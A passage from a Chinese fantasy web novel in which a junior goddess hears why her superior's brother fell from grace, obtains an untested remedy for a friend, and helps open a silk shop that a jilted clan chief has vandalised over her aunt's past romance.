放着仙界的无尽尊荣,富贵安逸不享,谁会自愿去搅妖界浑水呢?
可是很快,她又想到一个人。
明明有帝王的宠幸,坦荡的仕途,相对安定的国家,又做什么要搅其他两族的浑水呢?
还有那些共枕树妖,好不容易从战场死里逃生,又做什么要为了旁人将自己置身险境呢?
财神见古青言陷入沉思,有些得意,觉得自己颇有做人生导师的天赋,继续说了下去:“人界的百姓也是如此,骤然得到巨额财富,谁还会再辛勤劳作呢?”
“财帛终有尽,我和师兄也不能护着人族千年万年啊。”
“届时整个人界陷入好逸恶劳,奢靡安逸之风,必将走向衰落。”
“毕竟这世间不只有一个人界。人族得到更多资源,修炼飞升的人就会更多。到时候神仙也就不值钱了,谁还会供奉仙界这些像本座一样好吃懒做的神官?”
古青言:……
“神官最爱下界虔诚的信徒们。前提是他们永远只会是苦苦哀求神明拯救的信徒。仙界没有一个神官会赞同师兄这个想法的。”
讲了半天,财神嘴巴有点干,轻咳了两声。
古青言眨眨眼,愣了一下才反应过来,上去给财神沏了一杯茶。
财神满意的噙了一口。
嗯,虽然人愣了点,但沏茶的手艺还是不错的。
古青言期待地等着他继续说。说了这么久了,总该轮到罪神被贬之事了吧?
“就为这事,师兄与本座大吵一架。他斥责我不知饮水思源,仗着修炼上有几分天赋,连他这个师兄也不放在眼中。”
“他还失手打碎先财神一个宝贝钱袋。最后还是本座自掏腰包,找来一种特殊的丝线给修补好的。”
“师兄不承情也就罢了,竟然还负气离去,一走就是三十年。”
古青言竟然从自己主上的脸上看出几分委屈。
20. 贪墨案财神更替,春枝镇风生水起……
“再次见到师兄,他的修为突飞猛进,将我远远甩下,已经是上神之身了。”
“仙界一座神殿不容两位上神,这是不成文的规定。师兄本来是要调去其他神殿,或者开辟新殿的。”
“但好巧不巧,先财神好端端的突然渡劫失败,身死道消。师兄顺利地成了财神殿的新主神。”
仙族寿命漫长,一位神,还是修为高深的上神陨落,确实是难得一见的。
“师兄当上财神后,对我越发疏远。但我知道,他肯定在偷偷实行他当年的计划。”
“我劝过,没有用,他根本不见我。”
“他执念太深了。”财神长长地叹息一声,满是无力。
古青言第一次见他这样子。仙界上神,无人不敬爱的财神,也会有无奈和苦楚吗?
“所以后来他会被检举贪墨,我一点也不意外。我早就说过了,他做的事,仙界没有一个神官是喜闻乐见的。”
“也巧的很,那年我刚刚飞升上神。因着这些年与师兄疏远,我没有受到牵连,成了新的财神。”
财神放下茶盏,缓缓起身,背起手往殿外走:“所以说,青言啊,修炼不易,做神仙的,最重要的就是少管闲事,明哲保身。”
古青言跟在他身后,乖顺地听着他的教导,但并没往心里去。她本就不是爱多管闲事之人,无需担心这个。
走到门口,财神忽然转过身:“你下次要是再见到师兄,帮本座捎句话,就说......”
古青言抬眼看他,等着下文。
过了半响,财神转了回去:“你在妖界办差也不要落了修炼,来仙界这么多年了还不能飞升上神,你们这些后辈,真是不及本座当年万一。”
古青言一脸茫然,看着财神远去。
不是说给罪神带话吗?怎么嫌弃上她的修为了?
仙界总共才几个上神,那是那么好飞升的吗?她进入仙界才几年啊?
古青言反应过来,有些愤愤。
转头回到殿内,看着满地的卷宗,一拍脑袋。所以主上说了这半天,罪神疯魔的原因到底是什么啊?
古青言欲哭无泪,一头栽倒在卷宗堆里。
“司银大人。”
殿门口又传来声音,古青言手忙脚乱地从地上爬起来,整理好衣冠。
穿着银色神袍的钱笙走过来,整个人意气风发:“大人,您这些日子一直让属下盯着姚璃,今日一接到您的消息,就来找您汇报了。”
古青言矜持地点点头:“怎么样?姚璃回来后可有什么异动?”
“别的倒没什么,照常修炼照常办差。”钱笙答道:“只是大人下令不许她离开财神殿,她却总想着往外跑。被属下拦下后也不肯承认,只说是随意走动,并没想违背大人的命令。”
姚璃虽说被禁足,但与钱笙仍是平级,又自持资历更深,并不把钱笙放在眼里。钱笙面对她也是颇为头疼。
古青言听完,在心中思索。出去,是要做什么事?还是要见什么人?
自己给她机会改过,她却还是……
古青言压下心中情绪,思索片刻:“找个合适的机会放她出去,看看她是要做什么,又见了什么人。”
钱笙点头应下。
“这段时日就辛苦你多费心了。”古青言有些不好意思。她不在财神殿,银殿的担子都压在了钱笙身上不说,姚璃的事情还要麻烦她。
想了想,她道:“待本座从妖界回来,定向主上为你请封赏。”
钱笙客套地推脱几句,只说是她的本分,但眼中显然满是欣喜。
又交代了一些银殿中的琐事,古青言看着如山的卷宗发愁。
她已经回仙界三日了,阿竹他们孤身在木妖族也不知道怎么样了。经历了这许多事,又牵扯出魔族,她只觉得如今的妖界危机四伏。
本想再查一查魔族,听财神讲了一天废话,怕是没有时间了。
她悄悄看了旁边还浑然不觉的钱笙一眼,有些惭愧。难道人在做了官之后,都会这样压榨下属吗?她不想的啊!
尽管有些唾弃自己,古青言还是说:“还有一件事,你帮我查一查千年前魔族的旧事。”
钱笙也是极年轻的新神,对魔族知之甚少:“魔族之事太过久远,怕是不好查,不过属下会尽力去查的。”
古青言欣慰地拍了拍她的肩膀,学着财神爷的样子道:“本座很看好你。”
……
妖界,木族。
虽然甄青竹无法相信古青言怎么好端端地回家相亲去了,但睿安一向沉稳可靠,不像是会说谎的样子。所以尽管荒唐,甄青竹只得接受了这个事实,专心办起了正事。
他们带着商队,这几日在春枝镇各大集市游走,调查市场行情,还结交了不少当地商贾。
他们带来的货物里,卖的最好的是绸缎,其次是瓷盏玉器。
植妖族与动妖族断交,失去了制作绸缎最主要的原料——蚕丝等物,平日里衣物的布料多为棉、麻。因此,甄青竹他们带来的绸缎一经问世便广受追捧,连木族各大族老都遣人过来定了几批大单子。
至于瓷盏玉器,乃是睿安想出来的法子。
物妖族难开灵智,而植妖族领域因为缺少动物,土壤失去肥力,种子存活艰难。
睿安便提议,将物妖孕育出来,但又开不了灵智的物什制成瓷器玉盏卖给植妖族。
植妖族将种子种在这些带有物妖灵性和妖力的器皿中,可以提高种子的成活率。而这些器皿与植妖幼崽相伴,一同成长,开启灵智的几率也会大大提高。
如此两相成就,有利两族不说,甄青竹也能从中获利,一箭三雕。
这日,甄青竹找到睿安:“安大哥,我想在春枝镇开一间铺子。”
睿安一愣,物妖族在植妖族的领地开商铺,这是从未有过先例的。
“锦缎在植妖族是稀缺物,除了我们没有其他人在卖,所以不论我们有多少货物,都是卖的出去的。”
“从物妖族到植妖族山高水长,光靠商队一批一批地运送,速度又慢,成本又高,太耽误赚钱了。”甄青竹做痛心疾首状,“不如我们就在这里开一间铺子,就地招揽植妖做工,留几个自己的管事看管就好。”
“至于原料,不用远。我们不是跟天山谈了生意嘛,直接从天山运云丝过来
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,近的很。”
不用甄青竹继续说,饶是睿安不是商人,也能看出来,此事若能做成,将大大节约成本,提高营收,一本万利的事情。
“或可一试。”两人一拍即合。
睿安迅速找到木佩了解这边的政策。
“开铺子?”木佩惊讶,“先前从未有过外族人在此开铺子的先例,朝廷倒也未有禁止过。”
“不过即便是本族人,想要开铺子也得先找行首报备才行。春枝镇如今的行首......”想到这,木佩忽然笑了,“你也熟悉,是木檀老爷子。”
睿安回忆起这位木檀老爷子,也露出笑容,对甄青竹道:“是个明事理,慈蔼的长者,那我就放心了。”
甄青竹自然不会认识什么老爷子,但见睿安说他人好,便也跟着高兴起来。
“你若去同他说,他定会同意的,说不定还会亲自把这事给你办的妥妥帖帖。”木佩道。
睿安却摇了摇头:“我不想让太多故人知道我现在的处境。若是走漏了风声,叫那些人知道陛下没有真的流放我,怕是要再生事端。”
这也是当初古青言邀请他加入商队,他一直有所顾虑的理由。
木檀老爷子固然可靠,但他身处商行这等鱼龙混杂之地,若是将来让人揭发了他知情不报,岂不是拖累了老爷子?
木佩叹了口气:“是我们植妖族对不住你,以怨报德。”
“个别小人罢了,何至于上升到整个植妖族。”睿安并不因此怨恨植妖族,他仍旧感念这里每一个心存善念的百姓。
“小思。”木佩把木思叫过来,“那这事你带着甄姑娘去办吧。务必将事情办的妥帖了,也算你将功折罪了。”
“哦。”木思乖顺应下,带着甄青竹走了。
睿安本也准备告辞,却被木佩留下:“安兄,还有一事,是关于张姑娘的。”
“近日你们在城中游走,有一位长辈见到了张姑娘,惊为天人,想要将她收入门下修习医术。”
那位长辈是大椿族的一位族老。大椿族号称有神农血脉,一向以医术著称。
张辞晚乃是神农木造的肉身,当初又有瑶池水洗涤魂魄,灵魂澄澈,可谓是修习医术的先天圣体。这位族老一眼相中了她,说什么也要将她收入门下,这才找了木佩说项。
“大椿族名医辈出,也算是妖界最大的医学圣地了。张姑娘有此机缘,也不失为一件好事,安兄不妨回去问一问张姑娘的意思,我也好向这位长辈回话。”
睿安应下,见木佩多说几句便又白了脸色,有些后悔今日劳烦他:“你该好好调养身子才是,莫要忧心这些琐事。”
木佩摆摆手:“左右是好不了了,能活一日便该有一日的用处。”
“做什么说这些丧气话。”睿安给他顺气,“你若走了,木思怎么办?”
木佩却早有打算:“共枕树一树双灵,带我走后,我的一身修为灵力便会尽数归于小思。得了我的毕生修为,以小思的资质,勤加修炼,便是飞升都不在话下,又有什么好担心的。”
睿安没想到他连这些都想好了,心中哀恸,沉默不语。
该死的战争!
21. 药府中医仙襄助,捂马甲乌龙扰人
古青言交代完钱笙,又到丹殿器阁补充了些法器神丹。先前对付天山罪神时用掉不少,后面还不知要发生什么,多准备些准没坏处。
路过一座巍峨的殿宇时,她顿住了脚步。望着匾额上“药府”两个大字,古青言抿抿唇,还是走了进去。
药香扑鼻而来。有行色匆匆的患者低头沉浸在手中新开的药方里,与古青言擦肩而过。穿着洁白神袍的医师们往来穿梭,端庄肃穆。身后药仆童子成群,动作熟练,井然有序。
古青言第一次来这地方,也不知道该往哪处走,心下茫然。见大家都在忙碌,有些打退堂鼓。但她还是硬着头皮,寻了个大家都走的方向继续深入。
但药府殿宇林立,古青言走了半响实在不知该到哪一间。想找人问问吧,又说不清自己想找哪位医师。这里的医师她一个也不认得。
“这位姐姐瞧着面生,是哪一宫的神官?”
古青言闻声看去,欢脱的少女满眼好奇,笑容张扬又明媚。
“吾乃财神殿银殿主神,司银古青言。”古青言与少女见礼,“不知药府的哪位医师对‘天诛’之症有所了解?”
古青言有些忐忑。众所周知“天诛”无药可医,她却还是如此询问,未免有用疑难杂症故意为难的嫌疑。
谁知那少女一听高兴得很:“‘天诛’?那姐姐你可算找对人了,这天底下简直没有比我师兄更擅长此病的人了!”
她拉住古青言的胳膊就往里面走,一路上小嘴叭叭地就没停过,把她那师兄夸的天上有地下无。
古青言心中也有些高兴。神农药典在即,仙界能人云集,难不成真出了位能治“天诛”的医师?
“师兄师兄,我这次可是帮了你大忙了。”少女兴冲冲地一脚蹬开了房门,“你不是正缺个试药......不是,让你一展宏图的病人嘛,我给你带来了。”
古青言惊疑地看她一眼。试药?怎么感觉这么不靠谱呢?
不过很快,她就打消了疑虑。
水蓝色的衣角率先越过屏风映入古青言的眼帘。
身材高挑,面部轮廓分明,但带着温柔笑意的眉眼却抚平了棱角的凌厉。
让人瞧着便只觉如沐春风,似画中医仙,只一眼便能去大半病气。
古青言不好直勾勾地打量人家,悄悄欣赏完美人便低下头行礼问好:“财神殿古青言,见过这位医师。”
医仙温和回礼,浑身连手臂的弧度都规矩地挑不出一丝错处:“原来是古司银,陌玉这厢有礼了。”
陌玉!古青言心中泛起波澜,又忍不住悄悄抬眼打量了一番眼前人。
饶是古青言再不问世事,对这位近几十年在仙界声名鹊起的陌玉公子也是久仰大名。
陌玉,仙界药府天品医师,仙界最年轻的上仙之一。
据传,这位陌玉上仙原本只是药府的底层医师之子,身份地位,不受重视。
但他不甘人后,为自己寻来了大造化——拜了六连山那位隐世神尊为师,修行百年,从此一发不可收拾。年纪轻轻便飞升上仙不说,在医术一道也自学成才。回到药府后迅速成为了首屈一指的天品医师,把药府从前那些瞧不起他的人踩在脚下再不敢抬头。
古青言又看了眼刚才带自己过来的姑娘。“师兄”是陌玉医师,那师妹想必就是那位六连山神尊的独女,仙界出了名的废物——凡心?
罪过罪过。古青言心中过了一遍传闻,暗自告罪。这位姑娘如此热情,好心为自己引路,又请出自己师兄这尊大神。无论传言如何不堪,都是位值得感激的好姑娘。
古青言面上装的淡定,心中却是先惊后喜,安定许多。
若旁人说自己能治“天诛”,古青言还会心存疑虑。但若是这位,那想必确实是有几分把握的。
思及此,古青言郑重一礼:“在下有一位友人身患‘天诛’,还望医师能不吝赐药,救他性命。”
古青言将木佩的病情细细说来。
陌玉听完低头沉思片刻,从袖中拿出一个不足巴掌大的小瓷瓶,递到她眼前:“这是我针对‘天诛’新研制出的药。”
古青言喜出望外,没想到陌玉竟真的能治,更没想到大名鼎鼎的陌玉医师会这么好说话,竟真肯将这药给她。
她伸手去拿,不料陌玉却又往后避了避。
古青言的手有些尴尬地顿了顿。佯装无事地去拿茶盏。
“司银莫怪。”陌玉意识到不妥,告罪道,“实不相瞒,司银来的巧,这药我也是刚刚才炼出来。且不说从未给真正的‘天诛’患者服用过,即便是与我原本推演出的药方相比也相差甚远,还缺了几味重要的药材。”
“陌玉愿意将这药无偿送给司银,只是药效如何,怕是达不到司银的预期。”
古青言回到妖界客栈时扑了个空,睿安他们都不在,连伙计也不剩几个。
她便又寻去了共枕树族,却被木佩告知甄青竹几个准备在春枝镇开一间铺子,手续都已经办的差不多了,如今几人应当都在新租的铺面筹备开业事宜呢。
足足盏茶功夫,古青言才消化了这个突如其来的消息,心中感叹甄青竹果然是极有经商天赋的,才短短几日的光景,竟连铺子都开起来了。
她摊开手,掌心卧着一只小瓷瓶,瓶身光滑剔透,隐隐散发着白光,一看就不是凡物。
木佩疑惑地看向她:“姑娘这是何意?”
木思警惕地挡到木佩身前:“张辞晚是我抓的也是我伤的,你有什么冲我来。”
古青言:?
木佩又往木思后脑扇了一巴掌,将他推开:“这孩子脑子不太灵光,姑娘莫见怪。”
古青言半响才反应过来,有些没好气,但自诩是个大人了,不跟小孩子计较。她不看木思,只耐着性子跟木佩说:“这药能一定程度上抑制‘天诛’,公子或可一试。”
把瓷瓶放到木佩身前,古青言还是没忍住瞪了木思一眼:“用不用你们自己决定,吃出问题我不负责。”
说罢,起身去寻睿安他们了。
铺子里睿安一个人带着伙计们忙碌着,见古青言过来,漫不经心瞟了她一眼:“回来了?相亲相得怎么样?”
古青言:?
几日不见大家脑子怎么都坏掉了?
“哼。”她冷哼一声,昂起头有些骄傲,但没怎么邀过功,又有些不好意思,小声地嘟嘟囔囔,“我救了你的好友
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,你不感激也就罢了,怎么还编排我?”
拨着算珠的手指一顿,睿安俊眉微挑,反应过来古青言说的是身患绝症的是木佩。
他放下算盘,郑重看着古青言。
所以她离开数日,就是为了帮自己的好友寻找救治之法?
“多谢你。”他眸色深深,郑重其事。
古青言不过顺手为之,欣然受了他这句谢。没有看他,在还未装好,满是杂物的铺子里转了好几圈都没找到一块能落座的地方,蹩起秀眉,有些不满意。
睿安从柜台后拖出一把椅子搬到她身后,按着她的肩膀让她坐下。
古青言眉眼和缓,肉眼可见地又高兴起来。她放松地看向睿安:“怎么就你一个?阿竹和阿晚呢?”
“甄姑娘在陪批手续的老头子聊天,张姑娘在大椿族跟一位族老学医术。”睿安事无巨细地将这几日发生的事情讲给她听。
“阿晚没答应大椿族的族老?”古青言惊讶。能做古族长老的关门弟子,这可是难得的机遇。
“张姑娘还是想继续跟着我们行商,多见见世面。”睿安想到那日与张辞晚商议此事的情形。
张辞晚从小被家人护在手心,一切听从父母安排,循规蹈矩。虽备受宠爱,却也浑浑噩噩。
如今生死线上走过一遭,她不愿再因别人觉得好,世俗觉得好便去盲目抉择。
她要亲自看一看这浩瀚河山,人间百态,找到自己真正想要的东西,想做的事情,想成为的人。
“尊重她的选择吧。”古青言道。
虽然张辞晚不愿成为大椿族的关门弟子,但那位族老实在惜才,还是将她留在身边教习一些基础的医术,说是能学一日算一日,妖界说不得便会多出一位妙手回春的济世之才呢?
张辞晚不好再拒绝,也想着若能习得一些本事,日后也能帮上古青言他们一些,不要总是拖后腿,便欣然应允了。这几日一直住在大椿族没有回来。
“言言!”正说着,陪老头唠了一天家常的甄青竹回来了,见到古青言十分惊奇,“言言,你相亲得怎么样?不顺利吗?怎么这么早就回来了?”
古青言:……?这到底是什么状况?
“言言,你怎么回家相亲都不告诉我一声啊?是不是母亲逼你的?母亲也真是的,都不写信知会我一声就把你从我身边要走了。”
甄青竹一连串的问题砸的古青言头大,只堪堪从中提取出“睿安”两个字。
她幽幽看向睿安。
睿安看天,看地,看忙碌的小厮:“万贯,那个架子不是摆在那的,我帮你一起搬吧。”
还以为是个正经人,真是看错了。古青言愤愤地想。
人心险恶。妖也一样。
尤其是长得漂亮的男妖!
古青言被甄青竹纠缠了好几日,一直拉着她询问相亲的细节。诸如对方年芳几何?家住何处?高不高?俊俏与否?与睿安比又如何呢?
连张辞晚都闻讯从大椿族跑出来一趟。
古青言烦不胜烦,好不容易熬到了新店开业的这一日。
铺子前人山人海,木妖们激动下树杈子收不住胡乱飞舞,推搡着都往店内涌。
22. 开张日不速之客,巴掌印不堪入目……
“松树族裘衣十匹——”
“梧桐族云锦二十——”
万贯激动的唱和声一声高过一声。
绛桐和银雪不停地客人介绍自家锦缎,用的是甄青竹提前写好让她们背诵的话术,嘴皮子都快磨冒烟了。
“共枕树族贺礼三百银!”
听到动静,甄青竹艰难地从人群中抽出身迎了过去。
此次在春枝镇开铺子,多亏了共枕树族引荐调节,可不能慢待了。
没成想来的是木兮:“佩公子闭关疗伤,族长为公子护法也走不开,但还是惦记着贵店今日开业,特命我奉上贺礼聊表心意,万望甄少主见谅我家两位主人不能亲自到场祝贺的失礼才是。”
“哪里哪里。”甄青竹笑得比花儿还灿烂,拉着木兮进店,“共枕树族帮了我们太多了,我们怎么还好意思收这么大的礼呢。姑娘今儿个既然来了,可得好好进来吃杯酒才是。”
柜台前今日只有古青言一个在算账。客人太多了,只凭绛桐几个招待不过来,张辞晚也跟着去迎客了。
不过古青言此次可不再手忙脚乱了。她前几日回财神殿特地拿了个法器下来,是个能语音输入,还能自动算账的算盘。
有了这东西相助,古青言心安理得地躲在柜台后面偷闲,竖着耳朵去听木妖们说话。
“阿嬷,这物妖族来的商人靠谱嘛?怎么大家都来买呀?”还未及笄的小姑娘拉着身边老者的衣袖,满脸好奇与疑惑。
老者笑眯眯的:“物妖族与世无争,心系黎民,对咱们植妖族有大恩。”
“若不是植妖族的安大人呐,现在都没有你这棵小苗苗。”老者亲昵地捏了捏小姑娘水嫩的小脸蛋,眼中尽是慈爱与珍视。
安大人?是她认识的那个安大人吗?
古青言捕捉到关键词,微微侧身,试图听得更真切些。
“大椿族云锦千匹!”
万贯这一嗓子使人群骚动起来,也打断了古青言的偷听。
谁人出手这般阔绰?
听到是大椿族,张辞晚迎上去准备打招呼。
还未及近前,一块飞来布匹便迎面糊在了她的脸上。
张辞晚从小被如珠如宝地捧在手心长大,何曾受过这种粗鲁的对待,怒从心起,一把将脸上的东西扯下来。
“我们族长要的是品质最好的绸缎,一千匹。你们就拿这么点下等货色就想打发了?”嚣张的声音打破了店内的一派和谐,所有人的目光都被吸引了过来。
“这位客官,我们小店新开业,买的人多,一时实在拿不出一千匹云锦。您要是不急的话不如先拿这一批回去,我们马上给您调货......”
不等万贯说完,男子一把将他推开,撞倒了身后的货架:“碍事的小石子,滚开,你也配跟我说话?叫你们管事的出来。”
嚣张的男子带着一堆面色不善的男子,将站在门口的客人全都挤开了。
饶是一向端庄温顺的张辞晚也顾不得仪态,快步上前:“不乐意可以不买,做什么欺负人?”
嚣张的男子上下打量了她一眼:“你是这里的管事?”
他又越过张辞晚看向店内,视线一一从古青言和甄青竹的脸上扫过。
睿安今日没有来。
“我要见你们最高层的管事,叫她出来见我家族长。”男子叫嚣道。
甄青竹走上前:“我就是。你到底想怎么样?”
甄青竹收起笑脸,心中思量这是不是什么同行嫉妒甄古府生意好,故意派来挑事的。毕竟他们初来乍到,应当没有什么仇家才是。
离得近了,看清甄青竹的眉眼,男子有一瞬间的怔愣,但很快回过神来,又叫嚣起来:“不是你,我要见你们领头的姑娘。”
甄青竹疑惑,古青言也皱起了眉。
他们应当从未见过面才是,这人又为何认为甄青竹不是领头的主事人?又为什么笃定领头人是个姑娘?
嚣张男子见不到想见的人,恼怒起来,大手一挥:“你们甄古府竟敢如此慢待我们大椿族,兄弟们,给我砸。”
话音落,男子身后的一群人显然是有备而来,亮出手中的棍棒开始在店内打砸。
离得近的甄青竹和张辞晚上前阻拦,被凭空出现的藤蔓束缚在了原地。
两人挣脱不开,这群人似乎修为不低。
古青言反应过来时,店门附近的货架已经被这群人砸了个粉碎。好在没有伤人。
手中神力流转,来自神明的威压精准地降临在每一个闹事者头上。
“砰”“砰”“砰”,几息之间,气势汹汹进去的一群人被扔垃圾似的扔出了店外,吓得店外观望的好事者一退好几丈远。
为首的男子迅速地从地上爬起来,还想往店内冲,却被一道无形的屏障又一次弹开了。
他看向店内,视线从店内每个人身上一一扫过,试图找出出手之人。
“是哪一位高人出手相救?”甄青竹也在环顾店内。
但终是无果,古青言并不打算暴露。
店外的男子恶狠狠地又瞪了每个人一眼,转而朗声道:“今后谁敢买甄古府的东西,就是与我们大椿族为敌。大椿族的药不会再向他提供,大椿族的大夫也不会再给他看诊,各位可要好好思量清楚的。”
最后一句话是对还在店中的客人说的。
他故意用灵力将声音传的很远,他要让整个春枝镇都不敢与甄古府做生意。
除非甄古府的主人来见他们族长。
男子带着人走了,但古青言能感觉到店外还留有几人,时刻监视着店内的动静。
店外的人群渐渐散去,店内的客人也面面相觑。
得罪谁也不能得罪大夫。
最终他们还是没有顶住大椿族的压力,纷纷离去。甄古府的货物再好也终究是身外之物,为了这个得罪大椿族——只有傻子才会这么做。
最后只剩下了木兮:“为首的那人是大椿族族长身边的,叫木泥。他必定是受了大椿族族长的吩咐才敢来闹事,
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你们如何得罪这位族长的?”
古青言摇摇头,他们从未与这位族长打过照面。
甄青竹看向张辞晚,他们几人中与大椿族打过交道的也只有她了:“你在大椿族学医时可遇到过他们族长?会不会是不小心冲撞了?”
“我只跟着族老修习,从未见过族长和方才这几人,你没瞧见他们都不认识我吗?”张辞晚仔细想了想这几日在大椿族发生的事,否认道,“我回去问一问族老,这究竟是怎么回事。”
说完,张辞晚急急忙忙跑了出去。
“二位也不必太焦心。”木兮见古青言和甄青竹面色凝重,宽慰道,“待我家公子和族长出关,就去大椿族为你们游说。若不是什么要紧事,大椿族长想必会给我家公子一个面子的。”
甄青竹感激地看向木兮。
“你家公子疗伤如今正式关键时期,不敢叨扰他。”药是古青言亲手交到木佩手上的,她又岂能不知道木佩如今是什么状况,只怕一时半会是抽不开身的,“还是我们自己想想办法吧。”
送走木兮,古青言和甄青竹带着人收拾了一片狼藉的铺子。又等了半日,没有一个客人敢上门,大椿族的话还是极有威慑力的。
睿安闻讯赶了过来。
开店前的事宜一直都是他一手操办的。因为怕被认出来不敢太过抛头露面,所以才事事亲力亲为,确保万无一失,这才敢缺席今日的开业。
没想到还是出了岔子。
“你对那大椿族长可有了解?”古青言问他。
他点点头,想了一下又摇头:“前任大椿族长我还打过一些交道,但他死在了战场上。如今这位族长是新上任的,我了解不多,只听说过名字,好像是叫——木流。”
“那就只能等阿晚回来看看是什么说法了。”古青言道。
左右不会再有客人了,几人关了店,回到客栈等。
坐立不安间,好不容易挨到了晚上,张辞晚披星戴月,带着满身疲倦终于回到了客栈。进门迎上几人期盼的目光,垂下眼眸叹气道:“这事完全的大椿族长吩咐的,族老毫不知情。他带着我去见了族长,那人独断得很,连族老的面子也不给,只说要见甄古府的领头人。”
初登族长之位的年轻首领,根基尚不稳固,却为了此事连族老的面子也敢驳,这到底是为什么呢?几人百思不得其解。
“那我们明日便去大椿族会会他。”甄青竹把手中削水果的匕首狠狠插在桌子上,“阻碍本姑娘赚钱的,都得死!”
第二日,古青言跟甄青竹一道去了大椿族。
先出来的是昨日闹事的木泥,一看只有她们二人,说什么也不肯让她们见族长。
后来还是张辞晚又去求了那位族老,这才顺利进入大椿族领地。
又等了许久,那位架子极大的族长才慢悠悠地从屋里走出来。
古青言抬头看去,却不禁瞪大了眼睛。
那大椿族长的脸上,有一个巴掌印,红中带紫,紫里透青,十分显眼!
23. 负心郎脚踏两船,未婚妻风流情色……
木流穿着里衣,只随意披了一件外袍,连衣带都没有系,端着一只酒杯醉醺醺地走到姐妹二人跟前,看不清似的凑近了打量。
闻到刺鼻的酒味,古青言嫌弃地往后躲了躲。
木流没有太在意她的动作,反而是在甄青竹脸前看了很久。半响,他像是终于清醒了一些:“你......也姓古?”
“我姓甄,是随父亲姓的。我妹妹姓古,她跟母亲姓。”甄青竹答道。
木流反应了一下,缓缓把头转过来看古青言:“你是她妹妹?你姓古?”
古青言顿了一下,虽然不合时宜,但还是纠正了一下:“我是她姐姐。”
木流的目光以一种非常缓慢的速度在姐妹二人脸上来回扫视。就在甄青竹快要失去耐心的时候,他终于再次开口:“你们跟古玎是什么关系。”
姐妹两个对视一眼,一些疑惑终于在此刻解开了。
她们的确是第一次来春枝镇,也是第一次见到这位大椿族族长。但甄古府不是。
在她们从开灵城出发前,古玎刚刚从植妖族回来。而春枝镇作为离物妖族与植妖族边境最近的一座大城,也是古玎他们的必经之地。
所以,是古玎得罪过木流?以古玎火爆的性格,的确是有这个可能。
见两人不说话,木流懒散地上了主位上的椅子,半躺半坐,一口将杯中酒饮尽。看着再也倒不出一滴酒水的酒杯,他不满地低骂一声,便立时有婢女拿着酒壶将酒杯满上。
木流就这样一杯又一杯地喝了起来,全然不顾这里还站着两个人。
“阁下与她是旧识?”甄青竹试探着问。
“咣当”,酒杯被扔到地上,酒水撒了一地:“我是她相公!”
古青言和甄青竹目瞪口呆。
木流和古玎认识有些年头了,那是他的父亲尚在,他还是无忧无虑的大椿族少主。
那年古玎带着商队从边境回来,不慎受了伤,来大椿族求医。木流那时少年初成,正是春心萌动的年纪,对成熟干练,泼辣直爽的古玎一见钟情。
少年人还没有什么经验,从人间找来好些情情爱爱的话本子,挑灯苦读。再然后便是一阵猛烈的死缠烂打。那些土掉渣的情话,简直酸得古玎牙疼。
早已阅历丰富的古玎自然是对一个毛头小子不屑一顾的,若不是碍于他是大椿族族长的儿子,早就一拳把他打了出去。
但是后来,古玎每次带商队路过春枝镇,都要逗留一阵。逗留的时间一次比一次长,有时候明明货物都已经买完了,古玎却还没有返程的打算。
木流觉得那人间的话本上说得果真不错,“烈女怕缠郎”嘛。
两人就这样过了许多年,古玎碍于面子,拉不下脸去跟一个小了自己不少年岁的家伙提婚嫁之事。原本更为主动的木流在这事上也一直拖着,没有要开口的意思。
又一年,古玎带队离开春枝镇,还没走到边境上,她停住了脚。
“这般扭扭捏捏,哪里是我的性子。”古玎狠下心,什么面子里子都抛到了九霄云外,她又返了回去。
大椿族的守卫对古玎早已熟悉,没费什么功夫就顺利进了大椿族的领地。
但进去了,却是华堂异彩,红绸满天——大椿族少主的订婚宴。
另一个主角不是她。
这次跟话本不一样了。没有大闹订婚宴,没有扯头发,更没有叫人头皮发麻的深情对峙与争吵。
古玎安静地,没有打扰任何人地喝了一杯喜酒。
从此,甄古府的商队再也没有来过春枝镇。
这个故事虽然不大圆满,但就此结束也算体面,老来儿孙满堂,环绕膝下时,也算是年轻时一段可堪回首的风流韵事。
但偏偏,植妖族与动妖族战事再起,大椿族长死在了战场上。
又偏偏,那么巧,古青言带着商队在边境战场附近还未来得及撤离,救下了前来为父亲收尸的木流。
木流抱着古玎,就如同抓住了最后一根救命稻草。
古玎念他刚刚经历丧亲之痛,一路护持他回到春枝镇。
谁料他竟然将古玎关在了大椿族数月,说什么也不肯放手。古玎哪里见过这样的无赖,一时没防备着了道。
最后,还是木流的未婚妻寻来,将古玎放了出去。
古青言看着木流脸上的巴掌印,这么久了都没有消下去,想必是小姨气极,专门混着灵力打的。
“是你始乱终弃在先,还有何脸面再做纠缠。而今欺压我们这些小辈,更是无耻之极。”张辞晚骂道。
古青言和甄青竹悄悄向她竖起了大拇指。
“我们大椿族寿命何其漫长,怎可能从一而终?”木流还振振有词。
无耻。
三女心中只剩下这个词。
甄青竹努力让自己脸上挂了个笑:“这样说来,我们也该叫您一声小叔才是。您与小姨多年的情分,又何必为难我们这些小辈呢。”
木流看着甄青竹的笑容有些怔愣:“你长得真像你小姨。”
甄青竹继续假笑。
但木流这人偏执得很:“还是那句话,叫你们小姨来见我。否则,着铺子你们是别想开了。”
三人从木流那里出来。
“怎么办?难道我们真的要去把小姨请过来吗?”甄青竹问道。
“他想得倒是美。”古青言不屑地撇撇嘴,“且不说小姨如今去了动妖族,联不联系的上还是一回事。即便可以,小姨想必这辈子都不想见他了。”
“那我们该如何是好?”
古青言思索一番,即将走出大椿族领地的脚步一顿,转头看向张辞晚:“阿晚,你可知道木流那位未婚妻在何处?”
木流的未婚妻也是大椿族人,名木繁。
“小姨当初与木流闹成那个样子,这位未婚妻竟然还愿意继续与他维持婚约吗?”甄青竹不理解。如若换做是她,定然会立时与木流解除婚约。这种人不配有老婆。
“这门婚事是先族长亲自定下的,哪里说退就能退?”张辞晚解释道。
“几位,前面就是木繁姑娘的住所了。”给她们带路的是教导张辞晚医术的那位
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族老身边的一位门徒。
几人点头致谢,在篱笆门前停下。虽然门没锁,但也不好直接进去。
“有人在吗?”甄青竹扬声问。
无人应答。
不在家?三人对视一眼。
甄青竹又问了几声。
院内传来一阵窸窸窣窣的声响。又等了一会,篱笆门被推开,半披着衣裳,赤裸胸膛的男子探出头来:“几位找木蘩姑娘吗?”
斑斑点点暧昧的红痕在男子身上十分显眼,没有半分要遮挡的意思。
三个姑娘心头震荡。这是什么情况?
男子把三人带进院子就回了屋里。过了一会,半披着头发的姑娘跟着木流一起出来了:“谁找我?”
她的目光落在甄青竹脸上:“是玎姐姐派来的?木流那蠢东西又骚扰她了?”
几人被她着态度问得一愣,随即说明了来意。
